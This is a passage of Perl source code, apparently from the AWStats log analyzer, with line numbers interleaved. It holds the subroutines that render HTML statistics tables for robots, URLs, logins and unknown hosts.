                        print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>";
 
11429
 
 
11430
                        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
11431
                                print
 
11432
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
 
11433
                        }
 
11434
                        if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
11435
                                print
 
11436
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
11437
                        }
 
11438
                        if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
11439
                                print
 
11440
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
11441
                        }
 
11442
                        if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
11443
                                print "<th width=\"120\">$Message[9]</th>";
 
11444
                        }
 
11445
                        print "</tr>\n";
 
11446
                        $total_p = $total_h = $total_k = 0;
 
11447
 
 
11448
 #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
 
11449
 #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
 
11450
                        my $count = 0;
 
11451
                        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
11452
                                &BuildKeyList(
 
11453
                                        $MaxRowsInHTMLOutput,
 
11454
                                        $MinHitExtra[$extranum],
 
11455
                                        \%{ '_section_' . $extranum . '_h' },
 
11456
                                        \%{ '_section_' . $extranum . '_p' }
 
11457
                                );
 
11458
                        }
 
11459
                        else {
 
11460
                                &BuildKeyList(
 
11461
                                        $MaxRowsInHTMLOutput,
 
11462
                                        $MinHitExtra[$extranum],
 
11463
                                        \%{ '_section_' . $extranum . '_h' },
 
11464
                                        \%{ '_section_' . $extranum . '_h' }
 
11465
                                );
 
11466
                        }
 
11467
                        my %keysinkeylist = ();
 
11468
                        foreach my $key (@keylist) {
 
11469
                                $keysinkeylist{$key} = 1;
 
11470
                                my $firstcol = CleanXSS( DecodeEncodedString($key) );
 
11471
                                $total_p += ${ '_section_' . $extranum . '_p' }{$key};
 
11472
                                $total_h += ${ '_section_' . $extranum . '_h' }{$key};
 
11473
                                $total_k += ${ '_section_' . $extranum . '_k' }{$key};
 
11474
                                print "<tr>";
 
11475
                                printf(
 
11476
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
 
11477
                                        $firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
 
11478
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
11479
                                        print "<td>"
 
11480
                                          . ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
 
11481
                                }
 
11482
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
11483
                                        print "<td>"
 
11484
                                          . ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
 
11485
                                }
 
11486
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
11487
                                        print "<td>"
 
11488
                                          . Format_Bytes(
 
11489
                                                ${ '_section_' . $extranum . '_k' }{$key} )
 
11490
                                          . "</td>";
 
11491
                                }
 
11492
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
11493
                                        print "<td>"
 
11494
                                          . (
 
11495
                                                ${ '_section_' . $extranum . '_l' }{$key}
 
11496
                                                ? Format_Date(
 
11497
                                                        ${ '_section_' . $extranum . '_l' }{$key}, 1 )
 
11498
                                                : '-'
 
11499
                                          )
 
11500
                                          . "</td>";
 
11501
                                }
 
11502
                                print "</tr>\n";
 
11503
                                $count++;
 
11504
                        }
 
11505
 
 
11506
                        # If we ask average or sum, we loop on all other records
 
11507
                        if (   $ExtraAddAverageRow[$extranum]
 
11508
                                || $ExtraAddSumRow[$extranum] )
 
11509
                        {
 
11510
                                foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
 
11511
                                        if ( $keysinkeylist{$_} ) { next; }
 
11512
                                        $total_p += ${ '_section_' . $extranum . '_p' }{$_};
 
11513
                                        $total_h += ${ '_section_' . $extranum . '_h' }{$_};
 
11514
                                        $total_k += ${ '_section_' . $extranum . '_k' }{$_};
 
11515
                                        $count++;
 
11516
                                }
 
11517
                        }
 
11518
 
 
11519
                        # Add average row
 
11520
                        if ( $ExtraAddAverageRow[$extranum] ) {
 
11521
                                print "<tr>";
 
11522
                                print "<td class=\"aws\"><b>$Message[96]</b></td>";
 
11523
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
11524
                                        print "<td>"
 
11525
                                          . ( $count ? Format_Number(( $total_p / $count )) : "&nbsp;" )
 
11526
                                          . "</td>";
 
11527
                                }
 
11528
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
11529
                                        print "<td>"
 
11530
                                          . ( $count ? Format_Number(( $total_h / $count )) : "&nbsp;" )
 
11531
                                          . "</td>";
 
11532
                                }
 
11533
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
11534
                                        print "<td>"
 
11535
                                          . (
 
11536
                                                $count
 
11537
                                                ? Format_Bytes( $total_k / $count )
 
11538
                                                : "&nbsp;"
 
11539
                                          )
 
11540
                                          . "</td>";
 
11541
                                }
 
11542
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
11543
                                        print "<td>&nbsp;</td>";
 
11544
                                }
 
11545
                                print "</tr>\n";
 
11546
                        }
 
11547
 
 
11548
                        # Add sum row
 
11549
                        if ( $ExtraAddSumRow[$extranum] ) {
 
11550
                                print "<tr>";
 
11551
                                print "<td class=\"aws\"><b>$Message[102]</b></td>";
 
11552
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
 
11553
                                        print "<td>" . ($total_p) . "</td>";
 
11554
                                }
 
11555
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
 
11556
                                        print "<td>" . ($total_h) . "</td>";
 
11557
                                }
 
11558
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
 
11559
                                        print "<td>" . Format_Bytes($total_k) . "</td>";
 
11560
                                }
 
11561
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
 
11562
                                        print "<td>&nbsp;</td>";
 
11563
                                }
 
11564
                                print "</tr>\n";
 
11565
                        }
 
11566
                        &tab_end();
 
11567
                        &html_end(1);
 
11568
                }
 
11569
        }
 
11570
}
 
11571
 
 
11572
#------------------------------------------------------------------------------
 
11573
# Function:     Prints the Robot details frame or static page
 
11574
# Parameters:   _
 
11575
# Input:        _
 
11576
# Output:       HTML
 
11577
# Return:       -
 
11578
#------------------------------------------------------------------------------
 
11579
sub HTMLShowRobots{
 
11580
        my $total_p = 0;
 
11581
        my $total_h = 0;
 
11582
        my $total_k = 0;
 
11583
        my $total_r = 0;
 
11584
        my $rest_p = 0;
 
11585
        my $rest_h = 0;
 
11586
        my $rest_k = 0;
 
11587
        my $rest_r = 0;
 
11588
        
 
11589
        print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
 
11590
        my $title = '';
 
11591
        if ( $HTMLOutput{'allrobots'} )  { $title .= "$Message[53]"; }
 
11592
        if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; }
 
11593
        &tab_head( "$title", 19, 0, 'robots' );
 
11594
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
 
11595
          . Format_Number(( scalar keys %_robot_h ))
 
11596
          . " $Message[51]</th>";
 
11597
        if ( $ShowRobotsStats =~ /H/i ) {
 
11598
                print
 
11599
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
11600
        }
 
11601
        if ( $ShowRobotsStats =~ /B/i ) {
 
11602
                print
 
11603
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
11604
        }
 
11605
        if ( $ShowRobotsStats =~ /L/i ) {
 
11606
                print "<th width=\"120\">$Message[9]</th>";
 
11607
        }
 
11608
        print "</tr>\n";
 
11609
        $total_p = $total_h = $total_k = $total_r = 0;
 
11610
        my $count = 0;
 
11611
        if ( $HTMLOutput{'allrobots'} ) {
 
11612
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
 
11613
                        \%_robot_h, \%_robot_h );
 
11614
        }
 
11615
        if ( $HTMLOutput{'lastrobots'} ) {
 
11616
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
 
11617
                        \%_robot_h, \%_robot_l );
 
11618
        }
 
11619
        foreach my $key (@keylist) {
 
11620
                print "<tr><td class=\"aws\">"
 
11621
                  . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
 
11622
                  . "</td>";
 
11623
                if ( $ShowRobotsStats =~ /H/i ) {
 
11624
                        print "<td>"
 
11625
                          . Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
 
11626
                          . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
 
11627
                }
 
11628
                if ( $ShowRobotsStats =~ /B/i ) {
 
11629
                        print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
 
11630
                }
 
11631
                if ( $ShowRobotsStats =~ /L/i ) {
 
11632
                        print "<td>"
 
11633
                          . (
 
11634
                                $_robot_l{$key}
 
11635
                                ? Format_Date( $_robot_l{$key}, 1 )
 
11636
                                : '-'
 
11637
                          )
 
11638
                          . "</td>";
 
11639
                }
 
11640
                print "</tr>\n";
 
11641
 
 
11642
                #$total_p += $_robot_p{$key}||0;
 
11643
                $total_h += $_robot_h{$key};
 
11644
                $total_k += $_robot_k{$key} || 0;
 
11645
                $total_r += $_robot_r{$key} || 0;
 
11646
                $count++;
 
11647
        }
 
11648
 
 
11649
        # For bots we need to count Totals
 
11650
        my $TotalPagesRobots =
 
11651
          0;    #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
 
11652
        my $TotalHitsRobots = 0;
 
11653
        foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
 
11654
        my $TotalBytesRobots = 0;
 
11655
        foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
 
11656
        my $TotalRRobots = 0;
 
11657
        foreach ( values %_robot_r ) { $TotalRRobots += $_; }
 
11658
        $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
 
11659
        $rest_h = $TotalHitsRobots - $total_h;
 
11660
        $rest_k = $TotalBytesRobots - $total_k;
 
11661
        $rest_r = $TotalRRobots - $total_r;
 
11662
 
 
11663
        if ($Debug) {
 
11664
                debug(
 
11665
"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",
 
11666
                        2
 
11667
                );
 
11668
        }
 
11669
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
 
11670
        {               # All other robots
 
11671
                print
 
11672
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
11673
                if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
 
11674
                if ( $ShowRobotsStats =~ /B/i ) {
 
11675
                        print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
 
11676
                }
 
11677
                if ( $ShowRobotsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
 
11678
                print "</tr>\n";
 
11679
        }
 
11680
        &tab_end(
 
11681
                "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
 
11682
        &html_end(1);
 
11683
}
 
11684
 
 
11685
#------------------------------------------------------------------------------
 
11686
# Function:     Prints the URL, Entry or Exit details frame or static page
 
11687
# Parameters:   _
 
11688
# Input:        _
 
11689
# Output:       HTML
 
11690
# Return:       -
 
11691
#------------------------------------------------------------------------------
 
11692
sub HTMLShowURLDetail{
 
11693
        my $total_p = 0;
 
11694
        my $total_e = 0;
 
11695
        my $total_k = 0;
 
11696
        my $total_x = 0;
 
11697
        # Call to plugins' function ShowPagesFilter
 
11698
        foreach
 
11699
          my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } )
 
11700
        {
 
11701
                my $function = "ShowPagesFilter_$pluginname";
 
11702
                &$function();
 
11703
        }
 
11704
        print "$Center<a name=\"urls\">&nbsp;</a><br />\n";
 
11705
 
 
11706
        # Show filter form
 
11707
        &HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} );
 
11708
 
 
11709
        # Show URL list
 
11710
        my $title = '';
 
11711
        my $cpt   = 0;
 
11712
        if ( $HTMLOutput{'urldetail'} ) {
 
11713
                $title = $Message[19];
 
11714
                $cpt   = ( scalar keys %_url_p );
 
11715
        }
 
11716
        if ( $HTMLOutput{'urlentry'} ) {
 
11717
                $title = $Message[104];
 
11718
                $cpt   = ( scalar keys %_url_e );
 
11719
        }
 
11720
        if ( $HTMLOutput{'urlexit'} ) {
 
11721
                $title = $Message[116];
 
11722
                $cpt   = ( scalar keys %_url_x );
 
11723
        }
 
11724
        &tab_head( "$title", 19, 0, 'urls' );
 
11725
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
 
11726
        if ( $FilterIn{'url'} || $FilterEx{'url'} ) {
 
11727
                if ( $FilterIn{'url'} ) {
 
11728
                        print "$Message[79] <b>$FilterIn{'url'}</b>";
 
11729
                }
 
11730
                if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; }
 
11731
                if ( $FilterEx{'url'} ) {
 
11732
                        print "Exclude $Message[79] <b>$FilterEx{'url'}</b>";
 
11733
                }
 
11734
                if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; }
 
11735
                print Format_Number($cpt)." $Message[28]";
 
11736
                if ( $MonthRequired ne 'all' ) {
 
11737
                        if ( $HTMLOutput{'urldetail'} ) {
 
11738
                                print
 
11739
"<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]";
 
11740
                        }
 
11741
                }
 
11742
        }
 
11743
        else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
 
11744
        print "</th>";
 
11745
        if ( $ShowPagesStats =~ /P/i ) {
 
11746
                print
 
11747
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
 
11748
        }
 
11749
        if ( $ShowPagesStats =~ /B/i ) {
 
11750
                print
 
11751
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
 
11752
        }
 
11753
        if ( $ShowPagesStats =~ /E/i ) {
 
11754
                print
 
11755
                  "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
 
11756
        }
 
11757
        if ( $ShowPagesStats =~ /X/i ) {
 
11758
                print
 
11759
                  "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
 
11760
        }
 
11761
 
 
11762
        # Call to plugins' function ShowPagesAddField
 
11763
        foreach
 
11764
          my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
 
11765
        {
 
11766
 
 
11767
                #                       my $function="ShowPagesAddField_$pluginname('title')";
 
11768
                #                       eval("$function");
 
11769
                my $function = "ShowPagesAddField_$pluginname";
 
11770
                &$function('title');
 
11771
        }
 
11772
        print "<th>&nbsp;</th></tr>\n";
 
11773
        $total_p = $total_k = $total_e = $total_x = 0;
 
11774
        my $count = 0;
 
11775
        if ( $HTMLOutput{'urlentry'} ) {
 
11776
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
 
11777
                        \%_url_e );
 
11778
        }
 
11779
        elsif ( $HTMLOutput{'urlexit'} ) {
 
11780
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
 
11781
                        \%_url_x );
 
11782
        }
 
11783
        else {
 
11784
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
 
11785
                        \%_url_p );
 
11786
        }
 
11787
        my $max_p = 1;
 
11788
        my $max_k = 1;
 
11789
        foreach my $key (@keylist) {
 
11790
                if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
 
11791
                if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
 
11792
                        $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
 
11793
                }
 
11794
        }
 
11795
        foreach my $key (@keylist) {
 
11796
                print "<tr><td class=\"aws\">";
 
11797
                &HTMLShowURLInfo($key);
 
11798
                print "</td>";
 
11799
                my $bredde_p = 0;
 
11800
                my $bredde_e = 0;
 
11801
                my $bredde_x = 0;
 
11802
                my $bredde_k = 0;
 
11803
                if ( $max_p > 0 ) {
 
11804
                        $bredde_p =
 
11805
                          int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
 
11806
                }
 
11807
                if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
 
11808
                if ( $max_p > 0 ) {
 
11809
                        $bredde_e =
 
11810
                          int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
 
11811
                }
 
11812
                if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
 
11813
                if ( $max_p > 0 ) {
 
11814
                        $bredde_x =
 
11815
                          int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
 
11816
                }
 
11817
                if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
 
11818
                if ( $max_k > 0 ) {
 
11819
                        $bredde_k =
 
11820
                          int( $BarWidth *
 
11821
                                  ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
 
11822
                                  $max_k ) + 1;
 
11823
                }
 
11824
                if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
 
11825
                if ( $ShowPagesStats =~ /P/i ) {
 
11826
                        print "<td>".Format_Number($_url_p{$key})."</td>";
 
11827
                }
 
11828
                if ( $ShowPagesStats =~ /B/i ) {
 
11829
                        print "<td>"
 
11830
                          . (
 
11831
                                $_url_k{$key}
 
11832
                                ? Format_Bytes(
 
11833
                                        $_url_k{$key} / ( $_url_p{$key} || 1 )
 
11834
                                  )
 
11835
                                : "&nbsp;"
 
11836
                          )
 
11837
                          . "</td>";
 
11838
                }
 
11839
                if ( $ShowPagesStats =~ /E/i ) {
 
11840
                        print "<td>"
 
11841
                          . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : "&nbsp;" ) . "</td>";
 
11842
                }
 
11843
                if ( $ShowPagesStats =~ /X/i ) {
 
11844
                        print "<td>"
 
11845
                          . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : "&nbsp;" ) . "</td>";
 
11846
                }
 
11847
 
 
11848
                # Call to plugins' function ShowPagesAddField
 
11849
                foreach my $pluginname (
 
11850
                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
 
11851
                {
 
11852
 
 
11853
                  #                             my $function="ShowPagesAddField_$pluginname('$key')";
 
11854
                  #                             eval("$function");
 
11855
                        my $function = "ShowPagesAddField_$pluginname";
 
11856
                        &$function($key);
 
11857
                }
 
11858
                print "<td class=\"aws\">";
 
11859
 
 
11860
                # alt and title are not provided to reduce page size
 
11861
                if ( $ShowPagesStats =~ /P/i ) {
 
11862
                        print
 
11863
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />";
 
11864
                }
 
11865
                if ( $ShowPagesStats =~ /B/i ) {
 
11866
                        print
 
11867
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />";
 
11868
                }
 
11869
                if ( $ShowPagesStats =~ /E/i ) {
 
11870
                        print
 
11871
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />";
 
11872
                }
 
11873
                if ( $ShowPagesStats =~ /X/i ) {
 
11874
                        print
 
11875
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />";
 
11876
                }
 
11877
                print "</td></tr>\n";
 
11878
                $total_p += $_url_p{$key};
 
11879
                $total_e += $_url_e{$key};
 
11880
                $total_x += $_url_x{$key};
 
11881
                $total_k += $_url_k{$key};
 
11882
                $count++;
 
11883
        }
 
11884
        if ($Debug) {
 
11885
                debug(
 
11886
"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",
 
11887
                        2
 
11888
                );
 
11889
        }
 
11890
        my $rest_p = $TotalPages - $total_p;
 
11891
        my $rest_k = $TotalBytesPages - $total_k;
 
11892
        my $rest_e = $TotalEntries - $total_e;
 
11893
        my $rest_x = $TotalExits - $total_x;
 
11894
        if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) {
 
11895
                print
 
11896
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
 
11897
                if ( $ShowPagesStats =~ /P/i ) {
 
11898
                        print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
 
11899
                }
 
11900
                if ( $ShowPagesStats =~ /B/i ) {
 
11901
                        print "<td>"
 
11902
                          . (
 
11903
                                $rest_k
 
11904
                                ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
 
11905
                                : "&nbsp;"
 
11906
                          )
 
11907
                          . "</td>";
 
11908
                }
 
11909
                if ( $ShowPagesStats =~ /E/i ) {
 
11910
                        print "<td>" . ( $rest_e ? Format_Number($rest_e) : "&nbsp;" ) . "</td>";
 
11911
                }
 
11912
                if ( $ShowPagesStats =~ /X/i ) {
 
11913
                        print "<td>" . ( $rest_x ? Format_Number($rest_x) : "&nbsp;" ) . "</td>";
 
11914
                }
 
11915
 
 
11916
                # Call to plugins' function ShowPagesAddField
 
11917
                foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
 
11918
                {
 
11919
                        my $function = "ShowPagesAddField_$pluginname";
 
11920
                        &$function('');
 
11921
                }
 
11922
                print "<td>&nbsp;</td></tr>\n";
 
11923
        }
 
11924
        &tab_end();
 
11925
        &html_end(1);
 
11926
}
 
11927
 
 
11928
#------------------------------------------------------------------------------
 
11929
# Function:     Prints the Login details frame or static page
 
11930
# Parameters:   _
 
11931
# Input:        _
 
11932
# Output:       HTML
 
11933
# Return:       -
 
11934
#------------------------------------------------------------------------------
 
11935
sub HTMLShowLogins{
 
11936
        my $total_p = 0;
 
11937
        my $total_h = 0;
 
11938
        my $total_k = 0;
 
11939
        my $rest_p = 0;
 
11940
        my $rest_h = 0;
 
11941
        my $rest_k = 0;
 
11942
        print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
 
11943
        my $title = '';
 
11944
        if ( $HTMLOutput{'alllogins'} )  { $title .= "$Message[94]"; }
 
11945
        if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; }
 
11946
        &tab_head( "$title", 19, 0, 'logins' );
 
11947
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
 
11948
          . Format_Number(( scalar keys %_login_h )) . "</th>";
 
11949
        &HTMLShowUserInfo('__title__');
 
11950
        if ( $ShowAuthenticatedUsers =~ /P/i ) {
 
11951
                print
 
11952
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
 
11953
        }
 
11954
        if ( $ShowAuthenticatedUsers =~ /H/i ) {
 
11955
                print
 
11956
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
11957
        }
 
11958
        if ( $ShowAuthenticatedUsers =~ /B/i ) {
 
11959
                print
 
11960
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
11961
        }
 
11962
        if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
11963
                print "<th width=\"120\">$Message[9]</th>";
 
11964
        }
 
11965
        print "</tr>\n";
 
11966
        $total_p = $total_h = $total_k = 0;
 
11967
        my $count = 0;
 
11968
        if ( $HTMLOutput{'alllogins'} ) {
 
11969
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
 
11970
                        \%_login_h, \%_login_p );
 
11971
        }
 
11972
        if ( $HTMLOutput{'lastlogins'} ) {
 
11973
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'},
 
11974
                        \%_login_h, \%_login_l );
 
11975
        }
 
11976
        foreach my $key (@keylist) {
 
11977
                print "<tr><td class=\"aws\">$key</td>";
 
11978
                &HTMLShowUserInfo($key);
 
11979
                if ( $ShowAuthenticatedUsers =~ /P/i ) {
 
11980
                        print "<td>"
 
11981
                          . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : "&nbsp;" )
 
11982
                          . "</td>";
 
11983
                }
 
11984
                if ( $ShowAuthenticatedUsers =~ /H/i ) {
 
11985
                        print "<td>".Format_Number($_login_h{$key})."</td>";
 
11986
                }
 
11987
                if ( $ShowAuthenticatedUsers =~ /B/i ) {
 
11988
                        print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
 
11989
                }
 
11990
                if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
11991
                        print "<td>"
 
11992
                          . (
 
11993
                                $_login_l{$key}
 
11994
                                ? Format_Date( $_login_l{$key}, 1 )
 
11995
                                : '-'
 
11996
                          )
 
11997
                          . "</td>";
 
11998
                }
 
11999
                print "</tr>\n";
 
12000
                $total_p += $_login_p{$key} || 0;
 
12001
                $total_h += $_login_h{$key};
 
12002
                $total_k += $_login_k{$key} || 0;
 
12003
                $count++;
 
12004
        }
 
12005
        if ($Debug) {
 
12006
                debug(
 
12007
"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
 
12008
                        2
 
12009
                );
 
12010
        }
 
12011
        $rest_p = $TotalPages - $total_p;
 
12012
        $rest_h = $TotalHits - $total_h;
 
12013
        $rest_k = $TotalBytes - $total_k;
 
12014
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
 
12015
        {    # All other logins and/or anonymous
 
12016
                print
 
12017
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
 
12018
                &HTMLShowUserInfo('');
 
12019
                if ( $ShowAuthenticatedUsers =~ /P/i ) {
 
12020
                        print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
 
12021
                }
 
12022
                if ( $ShowAuthenticatedUsers =~ /H/i ) {
 
12023
                        print "<td>".Format_Number($rest_h)."</td>";
 
12024
                }
 
12025
                if ( $ShowAuthenticatedUsers =~ /B/i ) {
 
12026
                        print "<td>" . Format_Bytes($rest_k) . "</td>";
 
12027
                }
 
12028
                if ( $ShowAuthenticatedUsers =~ /L/i ) {
 
12029
                        print "<td>&nbsp;</td>";
 
12030
                }
 
12031
                print "</tr>\n";
 
12032
        }
 
12033
        &tab_end();
 
12034
        &html_end(1);
 
12035
}
 
12036
 
 
12037
#------------------------------------------------------------------------------
 
12038
# Function:     Prints the Unknown IP/Host details frame or static page
 
12039
# Parameters:   _
 
12040
# Input:        _
 
12041
# Output:       HTML
 
12042
# Return:       -
 
12043
#------------------------------------------------------------------------------
 
12044
sub HTMLShowHostsUnknown{
 
12045
        my $total_p = 0;
 
12046
        my $total_h = 0;
 
12047
        my $total_k = 0;
 
12048
        my $rest_p = 0;
 
12049
        my $rest_h = 0;
 
12050
        my $rest_k = 0;
 
12051
        print "$Center<a name=\"unknownip\">&nbsp;</a><br />\n";
 
12052
        &tab_head( "$Message[45]", 19, 0, 'unknownwip' );
 
12053
        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
 
12054
          . Format_Number(( scalar keys %_host_h ))
 
12055
          . " $Message[1]</th>";
 
12056
        &HTMLShowHostInfo('__title__');
 
12057
        if ( $ShowHostsStats =~ /P/i ) {
 
12058
                print
 
12059
                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
 
12060
        }
 
12061
        if ( $ShowHostsStats =~ /H/i ) {
 
12062
                print
 
12063
                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
 
12064
        }
 
12065
        if ( $ShowHostsStats =~ /B/i ) {
 
12066
                print
 
12067
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
 
12068
        }
 
12069
        if ( $ShowHostsStats =~ /L/i ) {
 
12070
                print "<th width=\"120\">$Message[9]</th>";
 
12071
        }
 
12072
        print "</tr>\n";
 
12073
        $total_p = $total_h = $total_k = 0;
 
12074
        my $count = 0;
 
12075
        &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
 
12076
                \%_host_p );
 
12077
        foreach my $key (@keylist) {
 
12078
                my $host = CleanXSS($key);
 
12079
                print "<tr><td class=\"aws\">$host</td>";
 
12080
                &HTMLShowHostInfo($key);
 
12081
                if ( $ShowHostsStats =~ /P/i ) {
 
12082
                        print "<td>"
 
12083
                          . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : "&nbsp;" )
 
12084
                          . "</td>";
 
12085
                }
 
12086
                if ( $ShowHostsStats =~ /H/i ) {
 
12087
                        print "<td>".Format_Number($_host_h{$key})."</td>";
 
12088
                }
 
12089
                if ( $ShowHostsStats =~ /B/i ) {
 
12090
                        print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
 
12091
                }
 
12092
                if ( $ShowHostsStats =~ /L/i ) {
 
12093
                        print "<td>"
 
12094
                          . (
 
12095
                                $_host_l{$key}
 
12096
                                ? Format_Date( $_host_l{$key}, 1 )
 
12097
                                : '-'
 
12098
                          )
 
12099
                          . "</td>";
 
12100
                }
 
12101
                print "</tr>\n";
 
12102
                $total_p += $_host_p{$key};
 
12103
                $total_h += $_host_h{$key};
 
12104
                $total_k += $_host_k{$key} || 0;
 
12105
                $count++;
 
12106
        }
 
12107
        if ($Debug) {
 
12108
                debug(
 
12109
